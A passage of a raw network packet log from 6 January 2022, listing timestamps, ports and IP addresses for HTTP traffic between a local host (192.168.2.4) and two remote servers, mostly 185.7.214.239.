Jan 6, 2022 21:05:04.803281069 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803318024 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803323984 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803355932 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803360939 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803395987 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803420067 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803436041 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803442955 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803476095 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803484917 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803525925 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803563118 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803575039 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803589106 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803605080 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803610086 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803646088 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803647041 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803688049 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803704023 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803728104 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803736925 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803767920 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803782940 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803813934 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803817034 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803855896 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803865910 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803894997 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803909063 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803934097 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803941965 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.803973913 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.803983927 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804013968 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804028034 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804054022 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804064989 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804096937 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804111958 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804135084 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804148912 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804176092 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804186106 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804214954 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804225922 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804253101 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804265976 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804292917 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804301977 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804332018 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804346085 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804373026 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804378986 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804413080 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804423094 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804452896 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804461002 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804493904 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804503918 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804534912 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804547071 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804575920 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804585934 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804615974 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804630041 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804655075 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804668903 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804694891 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804704905 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804739952 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804745913 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804778099 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804791927 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804817915 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804825068 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804868937 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804877996 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804919958 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804925919 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804956913 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804980040 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.804997921 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.804999113 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805037975 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805048943 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805080891 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805085897 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805119991 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805130005 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805159092 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805169106 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805198908 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805207968 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805238962 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805247068 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805275917 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805288076 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805315971 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805324078 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805354118 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805365086 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805394888 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805403948 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805433989 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805443048 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805471897 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805485010 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805510998 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805521011 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805552959 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805562973 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805591106 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805603027 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805629015 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805639029 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805668116 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805680990 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805707932 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805713892 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805747032 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805756092 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805784941 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805799007 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805824041 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805831909 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805862904 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805876017 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805900097 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805912018 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.805938959 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805978060 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.805990934 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.806018114 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.806032896 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.806058884 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.806077003 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.806097984 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.806114912 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.806150913 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.806183100 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.806221962 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.806262016 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.806274891 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.806298971 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.806337118 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.806341887 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.806365967 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.806375980 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.806397915 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.806417942 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.806457043 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.806471109 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.806495905 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.806509018 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.806535959 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.806551933 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.806579113 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.806587934 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.806628942 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.814106941 CET	80	49867	198.11.172.78	192.168.2.4
Jan 6, 2022 21:05:04.815396070 CET	49867	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:04.815576077 CET	49867	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:04.815823078 CET	49867	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:05:04.866115093 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866173029 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866226912 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866264105 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866305113 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866343975 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866370916 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866381884 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866394043 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866399050 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866424084 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866426945 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866466045 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866472006 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866507053 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866512060 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866550922 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866553068 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866590977 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866595030 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866632938 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866636992 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866672993 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866683960 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866715908 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866727114 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866755962 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866760969 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866796970 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866801023 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866836071 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866842031 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866878986 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866880894 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866916895 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866920948 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866957903 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.866960049 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.866997957 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867000103 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867037058 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867041111 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867075920 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867079973 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867115974 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867119074 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867156029 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867157936 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867198944 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867201090 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867239952 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867244005 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867279053 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867284060 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867319107 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867324114 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867357969 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867362022 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867402077 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867402077 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867443085 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867448092 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867482901 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867486000 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867526054 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867528915 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867568016 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867609024 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867613077 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867649078 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867650986 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867688894 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867691994 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867729902 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867731094 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867769003 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867772102 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867809057 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867813110 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867851973 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867851973 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867894888 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867897987 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867934942 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867938042 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.867974043 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.867979050 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868012905 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868020058 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868052006 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868058920 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868092060 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868097067 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868130922 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868135929 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868175983 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868177891 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868213892 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868227959 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868256092 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868264914 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868298054 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868307114 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868336916 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868347883 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868391991 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868401051 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868432045 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868470907 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868484974 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868510962 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868534088 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868551970 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868567944 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868592978 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868606091 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868633986 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868647099 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868674040 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868681908 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868714094 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868726969 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868753910 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868767977 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868792057 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868808031 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868830919 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868843079 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868881941 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868916035 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.868969917 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.868972063 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869012117 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869025946 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869050026 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869061947 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869091034 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869122028 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869153976 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869177103 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869196892 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869235992 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869251966 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869260073 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869276047 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869288921 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869318008 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869319916 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869360924 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869364977 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869398117 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869405031 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869437933 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869443893 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869477987 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869482040 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869515896 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869524002 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869556904 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869579077 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869597912 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869604111 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869637012 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869678020 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869692087 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869714975 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869733095 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869755983 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869766951 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869795084 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869797945 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869832993 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869839907 CET	49866	80	192.168.2.4	185.7.214.239
Jan 6, 2022 21:05:04.869873047 CET	80	49866	185.7.214.239	192.168.2.4
Jan 6, 2022 21:05:04.869878054 CET	49866	80	192.168.2.4	185.7.214.239
